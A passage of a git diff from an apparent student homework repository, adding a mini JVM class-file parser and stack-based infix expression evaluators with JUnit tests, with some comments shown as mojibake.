 	public int getMinorVersion() {
 		return minorVersion;
 	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
 	public int getMajorVersion() {
 		return majorVersion;
 	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	
-	
+    public void setVersion(int minor,int major){
+        minorVersion = minor;
+        majorVersion = major;
+    }
 	public void print(){
-		
 		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
+			System.out.println("Access flag:public");
 		}
 		System.out.println("Class Name:"+ getClassName());
-		
 		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
 	}
-	
 	private String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
@@ -76,9 +59,18 @@ private String getSuperClassName(){
 		return superClass.getClassName();
 	}
 	public ArrayList<Method> getMethods() {
-		return null;
+		return methods;
 	}
 	public ArrayList<Field> getFields() {
-		return null;
+		return fields;
+	}
+	public void setClassIndex(ClassIndex parseClassIndex) {
+		clzIndex = parseClassIndex;
+	}
+	public void setFields(ArrayList<Field> parseFields) {
+		fields = parseFields;
+	}
+	public void setMethods(ArrayList<Method> parseMethods) {
+        methods = parseMethods;
 	}
 }
diff --git a/group12/247565311/week567_miniJVM/constant/ConstantPool.java b/group12/247565311/week567_miniJVM/constant/ConstantPool.java
index fb35f6c253..23c1c32dce 100644
--- a/group12/247565311/week567_miniJVM/constant/ConstantPool.java
+++ b/group12/247565311/week567_miniJVM/constant/ConstantPool.java
@@ -4,19 +4,13 @@
 import java.util.List;
 
 public class ConstantPool {
-	
 	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
 	public ConstantPool(){
 		
 	}
 	public void addConstantInfo(ConstantInfo info){
-		
 		this.constantInfos.add(info);
-		
 	}
-	
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantInfos.get(index);
 	}
diff --git a/group12/247565311/week567_miniJVM/constant/InfoFactory.java b/group12/247565311/week567_miniJVM/constant/InfoFactory.java
new file mode 100644
index 0000000000..8c8bdc12f4
--- /dev/null
+++ b/group12/247565311/week567_miniJVM/constant/InfoFactory.java
@@ -0,0 +1,54 @@
+package week567_miniJVM.constant;
+import week567_miniJVM.loader.ByteCodeIterator;
+public class InfoFactory{
+    private static InfoFactory infoFact = new InfoFactory();
+    public static InfoFactory Invoke(){
+        return infoFact;
+    }
+    public ConstantInfo getInfoObj(int tag,ByteCodeIterator iter,ConstantPool pool){
+        switch(tag){
+        case 1:{
+        	UTF8Info info = new UTF8Info(pool);
+            info.setLength(iter.nextU2ToInt());
+            info.setValue(iter.nextUxToHexString(info.getLength()));
+            return info;}
+        case 7:{
+        	ClassInfo info = new ClassInfo(pool);
+            info.setUtf8Index(iter.nextU2ToInt());
+            return info;  }
+        case 8:{
+        	StringInfo info = new StringInfo(pool);
+            info.setIndex(iter.nextU2ToInt());
+            return info;}
+        case 9:{
+        	FieldRefInfo info = new FieldRefInfo(pool);
+            info.setClassInfoIndex(iter.nextU2ToInt());
+            info.setNameAndTypeIndex(iter.nextU2ToInt());
+            return info;}  
+        case 10:{
+        	MethodRefInfo info = new MethodRefInfo(pool);
+            info.setClassInfoIndex(iter.nextU2ToInt());
+            info.setNameAndTypeIndex(iter.nextU2ToInt());
+            return info;}
+        case 12:{
+        	NameAndTypeInfo info = new NameAndTypeInfo(pool);
+            info.setIndex1(iter.nextU2ToInt());
+            info.setIndex2(iter.nextU2ToInt());
+            return info;}
+        default:
+			new RuntimeException("tag 为"+tag+" 的常亮项尚不支持!").printStackTrace();
+            break;
+        }
+        return null;
+    }
+}
+
+
+
+
+
+
+
+
+
+
diff --git a/group12/247565311/week567_miniJVM/constant/UTF8Info.java b/group12/247565311/week567_miniJVM/constant/UTF8Info.java
index ac2341bda9..40dbb7f126 100644
--- a/group12/247565311/week567_miniJVM/constant/UTF8Info.java
+++ b/group12/247565311/week567_miniJVM/constant/UTF8Info.java
@@ -26,7 +26,4 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
-	
-	
-
 }
diff --git a/group12/247565311/week567_miniJVM/field/Field.java b/group12/247565311/week567_miniJVM/field/Field.java
index 47eac5a308..dd7510510a 100644
--- a/group12/247565311/week567_miniJVM/field/Field.java
+++ b/group12/247565311/week567_miniJVM/field/Field.java
@@ -1,33 +1,24 @@
 package week567_miniJVM.field;
 
+import structure.week1.ArrayList;
 import week567_miniJVM.constant.ConstantPool;
-import week567_miniJVM.constant.UTF8Info;
 import week567_miniJVM.loader.ByteCodeIterator;
-
-
 public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
+	private int accessFlag,nameIndex,descIndex;
 	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
+	public Field( int accessFlag, int nameIndex, int descIndex,ConstantPool pool) {
 		this.accessFlag = accessFlag;
 		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
+		this.descIndex = descIndex;
 		this.pool = pool;
 	}
-
-	
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		return null;
+	public void parse(ConstantPool pool,ByteCodeIterator iter){
+        int propNum = iter.nextU2ToInt();
+        while(propNum>0){
+            propNum -= 1;
+            int prop = iter.nextU2ToInt();
+           // TODO
+        }
+		return ;
 	}
-
 }
\ No newline at end of file
diff --git a/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java b/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
index d38345b3fe..a3cf1f4578 100644
--- a/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
+++ b/group12/247565311/week567_miniJVM/loader/ByteCodeIterator.java
@@ -1,20 +1,38 @@
 package week567_miniJVM.loader;
 
 public class ByteCodeIterator {
-
+    private byte[] bytes = null;
+    int index = 0;
+    public ByteCodeIterator(byte[] _byte){
+        bytes = _byte;
+    }
+    public void skip(int i){
+        index += i;
+    }
+    public int nextU1ToInt(){
+        byte a = bytes[index];
+        System.out.print(a);
+        index += 1;
+        return (int)(a&0xff);
+    }
 	public int nextU2ToInt() {
-		// TODO �Զ����ɵķ������
-		return 0;
+		return nextU1ToInt()*256+nextU1ToInt();
 	}
 
 	public int nextU4ToInt() {
-		// TODO �Զ����ɵķ������
-		return 0;
+		return nextU1ToInt()*256*256*256+nextU1ToInt()*256*256+nextU1ToInt()*256+nextU1ToInt();
 	}
 
 	public String nextUxToHexString(int len) {
-		// TODO �Զ����ɵķ������
-		return null;
+        String res = "";
+        while(len>0){
+            len -= 1;
+            int a = nextU1ToInt();
+            res += (char)(a&0xff);
+        }
+		return res;
 	}
-
+    public boolean hasNext(){
+        return index<bytes.length;
+    }
 }
diff --git a/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java b/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
index 89c66a8197..9a8d9a74a8 100644
--- a/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
+++ b/group12/247565311/week567_miniJVM/loader/ClassFileLoader.java
@@ -2,7 +2,6 @@
 
 import java.io.File;
 import java.io.FileInputStream;
-import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
@@ -12,7 +11,14 @@
 public class ClassFileLoader {
     private List<String> clzPaths = new ArrayList<String>();
 	
-	public byte[] readBinaryCode(String className) throws Exception {
+	public ClassFile loadClass(String className){
+        
+        byte[] bytes = readBinaryCode(className);
+        ClassFile clzFile = new ClassFileParser().parse(bytes);
+        
+        return clzFile;
+    }
+	public byte[] readBinaryCode(String className) {
 		for(String s:clzPaths){
 			String filename = s+className+".class";
 			File file = new File(filename);
@@ -20,32 +26,26 @@ public byte[] readBinaryCode(String className) throws Exception {
 		}
 		return null;
 	}
-	public ClassFile loadClass(String className){
-        return null;
-    }
-	private byte[] loadClassFile(String clzFileName) throws Exception {
+	private byte[] loadClassFile(String clzFileName) {
 		File file = new File(clzFileName);
 		long filelength = file.length();
 		byte[]res = null;
-		if(filelength>Integer.MAX_VALUE)throw new IOException("�ļ�����");
+		if(filelength>Integer.MAX_VALUE) new IOException("���ļ�����").printStackTrace();
 		try {
 			FileInputStream fileinput = new FileInputStream(file);
 			res = new byte[(int) filelength];
 			int offset=0,length=0;
 			while(offset<res.length && ((length=fileinput.read(res,offset,res.length-offset))>-1))
 				offset += length;
-			fileinput.close();
-		} catch (FileNotFoundException e) {
+			if(fileinput!=null)fileinput.close();
+		} catch (Exception e) {
 			e.printStackTrace();
 		}
 		return res;
 	}
-	
 	public void addClassPath(String path) {
 		clzPaths.add(path);
 	}
-	
-	
 	public String getClassPath(){
 		String res = "";
 		int size = clzPaths.size();
diff --git a/group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java b/group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java
similarity index 93%
rename from group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java
rename to group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java
index ed81eaa399..c235413b3b 100644
--- a/group12/247565311/week567_miniJVM/test/ClassFileLoaderTest.java
+++ b/group12/247565311/week567_miniJVM/loader/ClassFileLoaderTest.java
@@ -1,7 +1,7 @@
-package week567_miniJVM.test;
+package week567_miniJVM.loader;
+
 
 import structure.week1.ArrayList;
-import structure.week1.List;
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.clz.ClassIndex;
 import week567_miniJVM.constant.ClassInfo;
@@ -19,23 +19,15 @@
 import org.junit.Test;
 
 public class ClassFileLoaderTest {
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	static String path1 = "F:\\code_language\\demo\\Homework\\bin\\week567_miniJVM\\test";
+	private static final String FULL_QUALIFIED_CLASS_NAME = "EmployeeV1.class";
+	static String path1 = "F:\\code_language\\demo\\Homework\\bin\\week567_miniJVM\\test\\";
 	static String path2 = "C:\temp";
 	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
 	@Before
-	public void setUp() throws Exception {		 
+	public void setUp() throws Exception {
+		int �� = 1;
+		�� += 1;
+		System.out.print(��);
 	}
 	@After
 	public void tearDown() throws Exception {
@@ -59,7 +51,8 @@ public void testClassFileLength() {
 		} catch (Exception e) {
 			e.printStackTrace();
 		}
-		// 这里断言.class文件的字节数
+		// �������.class�ļ����ֽ���
+		System.out.print(byteCodes.length);
 		Assert.assertEquals(267, byteCodes.length);
 	}
     @Test	
@@ -91,8 +84,17 @@ private String byteToHexString(byte[] codes ){
 		return buffer.toString();
 	}
     /**
-    * miniJVM第二次作业测试用例
+    * miniJVM�ڶ�����ҵ��������
     */
+    static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "week567_miniJVM.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
     @Test
     public void testVersion(){
 		Assert.assertEquals(0, clzFile.getMinorVersion());
@@ -140,7 +142,7 @@ public void testConstantPool(){
 			Assert.assertEquals(9, nameAndType.getIndex1());
 			Assert.assertEquals(14, nameAndType.getIndex2());
 		}
-		// 随机抽查一个
+		// ������һ��
 		{
 			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
 			Assert.assertEquals(1, methodRef.getClassInfoIndex());
@@ -160,7 +162,7 @@ public void testClassIndex(){
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
     /**
-     * miniJVM第三次作业测试用例
+     * miniJVM��������ҵ��������
      */
     @Test
     public void testReadFields(){
@@ -223,4 +225,4 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
-}
\ No newline at end of file
+}
diff --git a/group12/247565311/week567_miniJVM/loader/ClassFileParser.java b/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
index 5a23889b50..c3858dbaf6 100644
--- a/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
+++ b/group12/247565311/week567_miniJVM/loader/ClassFileParser.java
@@ -1,44 +1,91 @@
 package week567_miniJVM.loader;
 
-import java.io.UnsupportedEncodingException;
-
+import structure.week1.ArrayList;
 import week567_miniJVM.clz.AccessFlag;
 import week567_miniJVM.clz.ClassFile;
 import week567_miniJVM.clz.ClassIndex;
-import week567_miniJVM.constant.ClassInfo;
+import week567_miniJVM.constant.ConstantInfo;
 import week567_miniJVM.constant.ConstantPool;
-import week567_miniJVM.constant.FieldRefInfo;
-import week567_miniJVM.constant.MethodRefInfo;
-import week567_miniJVM.constant.NameAndTypeInfo;
+import week567_miniJVM.constant.InfoFactory;
 import week567_miniJVM.constant.NullConstantInfo;
-import week567_miniJVM.constant.StringInfo;
-import week567_miniJVM.constant.UTF8Info;
-
-public class ClassFileParser {
+import week567_miniJVM.field.Field;
+import week567_miniJVM.method.Method;
 
-	public ClassFile parse(byte[] codes) {
 
-		
-		
-
-		return null;
+public class ClassFileParser {
+	public ClassFile parse(byte[] bytes) {
+        ClassFile clzFile = new ClassFile();
+        ByteCodeIterator iter = new ByteCodeIterator(bytes);
+        if(!"cafebabe".equals(iter.nextUxToHexString(4))) return null;
+        
+        clzFile.setVersion(iter.nextU2ToInt(),iter.nextU2ToInt());
+        
+        ConstantPool pool = parseConstantPool(iter);
+        clzFile.setConstantPool(pool);    
+        
+        clzFile.setAccessFlag(parseAccessFlag(iter));
+        clzFile.setClassIndex(parseClassIndex(iter));
+        
+        int collectionNum = iter.nextU2ToInt();
+        iter.skip(collectionNum*2);
+        
+        clzFile.setFields(parseFields(iter,pool));
+        clzFile.setMethods(parseMethods(clzFile,iter));
+		return clzFile;
 	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
+	
+	private ConstantPool parseConstantPool(ByteCodeIterator iter){
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+        int lenpool = iter.nextU2ToInt();
+        while(lenpool>1){
+            lenpool -= 1;
+            int tag = iter.nextU1ToInt();
+            ConstantInfo info = InfoFactory.Invoke().getInfoObj(tag,iter,pool);
+            pool.addConstantInfo(info);
+        }
+		return pool;
 	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
+	
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+        AccessFlag caflag = new AccessFlag(iter.nextU2ToInt());
+		return caflag;
 	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-
-		return null;
+	
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+        ClassIndex clzIndex = new ClassIndex();
+        clzIndex.setThisClassIndex(iter.nextU2ToInt());
+        clzIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return clzIndex;
 	}
-
 	
+    private ArrayList<Field> parseFields(ByteCodeIterator iter,ConstantPool pool){
+        ArrayList<Field> fields = new ArrayList<Field>();
+        int fieldNum = iter.nextU2ToInt();
+        while(fieldNum>0){
+            fieldNum -= 1;
+            int accflag = iter.nextU2ToInt();       // 例如是public
+            int nameIndex = iter.nextU2ToInt();// 指向常量池的入口
+            int descIndex = iter.nextU2ToInt(); // 指向常量池的入口
+            Field field = new Field(accflag,nameIndex,descIndex,pool);
+            field.parse(pool,iter);
+            fields.add(field);
+        }
+        return fields;
+    }
+    
+    private ArrayList<Method> parseMethods(ClassFile clzFile,ByteCodeIterator iter){
+        ArrayList<Method> methods = new ArrayList<Method>();
+        int methodNum = iter.nextU2ToInt();
+        while(methodNum>0){
+            methodNum -= 1;
+            int accflag = iter.nextU2ToInt();
+            int nameIndex = iter.nextU2ToInt();
+            int descIndex = iter.nextU2ToInt();
+            Method method = new Method(clzFile,accflag,nameIndex,descIndex);
+            method.parse(clzFile,iter);
+            methods.add(method);
+        }
+        return methods;
+    }
 }
diff --git a/group12/247565311/week567_miniJVM/method/Method.java b/group12/247565311/week567_miniJVM/method/Method.java
index aadd29e9a6..ceabffec1b 100644
--- a/group12/247565311/week567_miniJVM/method/Method.java
+++ b/group12/247565311/week567_miniJVM/method/Method.java
@@ -1,58 +1,51 @@
 package week567_miniJVM.method;
-
 import week567_miniJVM.clz.ClassFile;
-import week567_miniJVM.attr.AttributeInfo;
-import week567_miniJVM.attr.CodeAttr;
-import week567_miniJVM.constant.ConstantPool;
+import week567_miniJVM.constant.ConstantInfo;
 import week567_miniJVM.constant.UTF8Info;
 import week567_miniJVM.loader.ByteCodeIterator;
-
-
+import week567_miniJVM.attr.AttrFactory;
+import week567_miniJVM.attr.AttributeInfo;
+import week567_miniJVM.attr.CodeAttr;
 
 public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
+	private int accessFlag,nameIndex,descIndex;
 	private CodeAttr codeAttr;
-	
 	private ClassFile clzFile;
 	
-	
 	public ClassFile getClzFile() {
 		return clzFile;
 	}
-
+    public int getAccessFlag(){
+    	return accessFlag;
+    }
 	public int getNameIndex() {
 		return nameIndex;
 	}
 	public int getDescriptorIndex() {
-		return descriptorIndex;
+		return descIndex;
 	}
-	
 	public CodeAttr getCodeAttr() {
 		return codeAttr;
 	}
-
 	public void setCodeAttr(CodeAttr code) {
 		this.codeAttr = code;
 	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descIndex) {
 		this.clzFile = clzFile;
 		this.accessFlag = accessFlag;
 		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
+		this.descIndex = descIndex;
 	}
-
-	
-	
 	
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
+	public void parse(ClassFile clzFile, ByteCodeIterator iter){
+        int attributeNum = iter.nextU2ToInt();
+        while(attributeNum>0){
+        	attributeNum -= 1;
+        	AttributeInfo attrinfo = AttrFactory.Instance().parse(clzFile, iter);
+        	if(attrinfo == null) continue;
+
+            
+        }
 	}
 }
 
diff --git a/group12/247565311/week567_miniJVM/test/EmployeeV1.java b/group12/247565311/week567_miniJVM/test/EmployeeV1.java
index b9855461ae..bfa4460096 100644
--- a/group12/247565311/week567_miniJVM/test/EmployeeV1.java
+++ b/group12/247565311/week567_miniJVM/test/EmployeeV1.java
@@ -1,5 +1,18 @@
 package week567_miniJVM.test;
 
 public class EmployeeV1 {
-
+    private int age;
+    private String name;
+    public void setAge(int _age){
+    	age = _age;
+    }
+    public int getAge(){
+    	return age;
+    }
+    public void setName(String _name){
+    	name = _name;
+    }
+    public String getName(){
+    	return name;
+    }
 }
diff --git a/group12/247565311/week567_miniJVM/util/Util.java b/group12/247565311/week567_miniJVM/util/Util.java
index c10eaee6f2..9c7baeb915 100644
--- a/group12/247565311/week567_miniJVM/util/Util.java
+++ b/group12/247565311/week567_miniJVM/util/Util.java
@@ -5,9 +5,6 @@ public static int byteToInt(byte[] codes){
     	String s1 = byteToHexString(codes);
     	return Integer.valueOf(s1, 16).intValue();
     }
-    
-    
-    
 	public static String byteToHexString(byte[] codes ){
 		StringBuffer buffer = new StringBuffer();
 		for(int i=0;i<codes.length;i++){
diff --git a/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java b/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
index d5c5fe04cc..f5cd3f3857 100644
--- a/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
+++ b/group12/377401843/learning/src/main/java/com/zhaogd/array/ArrayList.java
@@ -1,10 +1,10 @@
 package com.zhaogd.array;
 
-import java.util.Arrays;
-
 import com.zhaogd.collection.Iterator;
 import com.zhaogd.collection.List;
 
+import java.util.Arrays;
+
 public class ArrayList implements List {
 
 	private int size = 0;
@@ -16,7 +16,6 @@ public class ArrayList implements List {
 	 *
 	 * @Method add
 	 * @param o
-	 * @see com.zhaogd.collection.guodong.datastructure.List#add(java.lang.Object)
 	 */
 	public void add(Object o) {
 		ensureCapacityInternal(size + 1);
@@ -30,7 +29,6 @@ public void add(Object o) {
 	 * @Method add
 	 * @param index
 	 * @param o
-	 * @see com.zhaogd.collection.guodong.datastructure.List#add(int, java.lang.Object)
 	 */
 	public void add(int index, Object o) {
 		checkRangeForAdd(index);
@@ -49,7 +47,6 @@ public void add(int index, Object o) {
 	 * @Method get
 	 * @param index
 	 * @return
-	 * @see com.zhaogd.collection.guodong.datastructure.List#get(int)
 	 */
 	public Object get(int index) {
 		checkRangeForGetOrRemove(index);
@@ -63,7 +60,6 @@ public Object get(int index) {
 	 * @Method remove
 	 * @param index
 	 * @return
-	 * @see com.zhaogd.collection.guodong.datastructure.List#remove(int)
 	 */
 	public Object remove(int index) {
 		checkRangeForGetOrRemove(index);
@@ -83,7 +79,6 @@ public Object remove(int index) {
 	 *
 	 * @Method size
 	 * @return
-	 * @see com.zhaogd.collection.guodong.datastructure.List#size()
 	 */
 	public int size() {
 		return size;
diff --git a/group12/382266293/coding/basic/stack/StackUtil.java b/group12/382266293/coding/basic/stack/StackUtil.java
index 706bcd7033..e0beed1708 100644
--- a/group12/382266293/coding/basic/stack/StackUtil.java
+++ b/group12/382266293/coding/basic/stack/StackUtil.java
@@ -1,7 +1,5 @@
 package stack;
 
-import static org.junit.Assert.assertEquals;
-
 import java.util.Objects;
 import java.util.Stack;
 
@@ -10,22 +8,24 @@ public class StackUtil {
 	/**
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param <E>
 	 */
-	public static void reverse(Stack<Integer> stack) {
+	public static <E> void reverse(Stack<E> stack) {
 		if (stack.isEmpty()) {
 			return;
 		}
-		int i = getAndRemoveLastElement(stack);
+		E i = getAndRemoveLastElement(stack);
 		reverse(stack);
 		stack.push(i);
 	}
 
-	public static int getAndRemoveLastElement(Stack<Integer> stack) {
-		int result = stack.pop();
+
+	public static <E> E getAndRemoveLastElement(Stack<E> stack) {
+		E result = stack.pop();
 		if (stack.isEmpty()) {
 			return result;
 		} else {
-			int last = getAndRemoveLastElement(stack);
+			E last = getAndRemoveLastElement(stack);
 			stack.push(result);
 			return last;
 		}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExpr.java b/group12/382266293/coding/basic/stack/expr/InfixExpr.java
index eade1dc743..c143116ec4 100644
--- a/group12/382266293/coding/basic/stack/expr/InfixExpr.java
+++ b/group12/382266293/coding/basic/stack/expr/InfixExpr.java
@@ -1,18 +1,78 @@
-package stack.expr;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {		
-		
-		return 0.0f;
-	}
-	
-
-	
-	
-}
+package stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				if(opStack.isEmpty()){
+					
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
+					}
+					opStack.push(token);
+				}
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
+		}
+		
+		
+		return numStack.pop().floatValue();
+	}
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+	
+	
+}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExprS.java b/group12/382266293/coding/basic/stack/expr/InfixExprS.java
new file mode 100644
index 0000000000..7600cccb93
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/InfixExprS.java
@@ -0,0 +1,102 @@
+package stack.expr;
+
+import java.util.Stack;
+import stack.StackUtil;
+
+public class InfixExprS{
+	String expr = null;
+
+	public InfixExprS(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+		TParser tp = new TParser();
+		tp.parse(expr);
+		Stack<Integer> ints = new Stack<Integer>();
+		Stack<String> signs = new Stack<String>();
+
+		int i1 = tp.nextInt();
+		String sign1 = tp.nextSign();
+		
+		ints.push(i1);
+		signs.push(sign1);
+
+		while (tp.hasNextInt()) {
+
+			int i2 = tp.nextInt();
+			String sign2 = tp.nextSign();
+
+			if (tp.hasNextInt()) {
+				
+				if (highPrioritySign(sign1)) {
+					
+					i1 = ints.pop();
+					sign1 = signs.pop();
+					i2 = calculate(i1, i2, sign1);
+			
+				}
+			
+				ints.push(i2);
+				signs.push(sign2);
+				sign1 = sign2;
+
+			}
+
+		}
+
+		signs.pop();
+		StackUtil.reverse(ints);
+		StackUtil.reverse(signs);
+
+		while (!ints.isEmpty()) {
+			
+			int firstInt = ints.pop();
+
+			if (ints.isEmpty()) {
+				return (float) firstInt;
+			} 
+				
+			int secInt = ints.pop();
+			String sign = signs.pop();
+			int result = calculate(firstInt, secInt, sign);
+			ints.push(result);
+		
+		}
+
+		System.out.println("we shall not reach here");
+		return (float) ints.peek();
+	}
+
+	private int calculate(int firstInt, int secInt, String lowsign) {
+
+		int result;
+		if (lowsign.equals("+")) {
+			result = firstInt + secInt;
+		} else if (lowsign.equals("-")) {
+			result = firstInt - secInt;
+		} else if (lowsign.equals("*")) {
+			result = firstInt * secInt;
+		} else if (lowsign.equals("/")) {
+			result = firstInt / secInt;
+		} else {
+			throw new RuntimeException(lowsign + " has not been supported yet!");
+		}
+
+		return result;
+
+	}
+
+	private boolean highPrioritySign(String sign) {
+
+		if (sign.equals("*") || sign.equals("/")) {
+
+			return true;
+
+		}
+
+		return false;
+	}
+
+}
diff --git a/group12/382266293/coding/basic/stack/expr/InfixExprTest.java b/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
index bb047629bd..836848ac91 100644
--- a/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
+++ b/group12/382266293/coding/basic/stack/expr/InfixExprTest.java
@@ -5,7 +5,6 @@
 import org.junit.Before;
 import org.junit.Test;
 
-
 public class InfixExprTest {
 
 	@Before
@@ -18,31 +17,62 @@ public void tearDown() throws Exception {
 
 	@Test
 	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+
+		{
+			InfixExpr expr = new InfixExpr("1*2*2-1");
+			Assert.assertEquals(3.0, expr.evaluate(), 0.001f);
+		}
+		
 		{
 			InfixExpr expr = new InfixExpr("2+3*4+5");
 			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
 		}
+		
 		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+			InfixExpr expr = new InfixExpr("2+3*4+5*1+1");
+			Assert.assertEquals(20.0, expr.evaluate(), 0.001f);
 		}
 		
+		{
+			InfixExpr expr = new InfixExpr("2+3*4/2+1");
+			Assert.assertEquals(9, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("2-3*4/2-1");
+			Assert.assertEquals(-5.0, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("6-1*5+2+0");
+			Assert.assertEquals(3.0, expr.evaluate(), 0.001f);
+		}
+
 		{
 			InfixExpr expr = new InfixExpr("3*20/2");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
 		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2+1");
+			Assert.assertEquals(31, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2+1-1");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+
 		{
 			InfixExpr expr = new InfixExpr("20/2*3");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
-		
+
 		{
 			InfixExpr expr = new InfixExpr("10-30+50");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
-		
+
 	}
 
 }
diff --git a/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java b/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..a293ddfeee
--- /dev/null
+++ b/group12/382266293/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,51 @@
+package stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+
+		TokenParser parser = new TokenParser();
